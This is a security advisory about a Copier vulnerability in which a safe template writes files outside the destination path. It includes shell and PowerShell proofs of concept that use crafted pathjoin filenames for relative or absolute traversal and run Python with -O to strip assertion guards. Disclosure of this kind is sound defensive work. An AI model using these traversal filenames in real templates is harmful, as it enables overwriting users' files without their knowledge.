Copier's safe template has filesystem write access outside destination path
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
Write access via generated relative path
Reproducible example:
```shell
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt
```
Write access via generated absolute path
Reproducible example:
```shell
# Assumption: The current working directory is /tmp/test-copier-vulnerability/
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src/ dst/
cat forbidden.txt
```
```powershell
# Assumption: The current working directory is C:\Users\<user>\Temp\test-copier-vulnerability
echo "foo" > forbidden.txt
mkdir src
Set-Content -Path src\copier.yml @'
drive:
type: str
default: "C:"
when: false
'@
echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src dst
cat forbidden.txt
```
This scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.
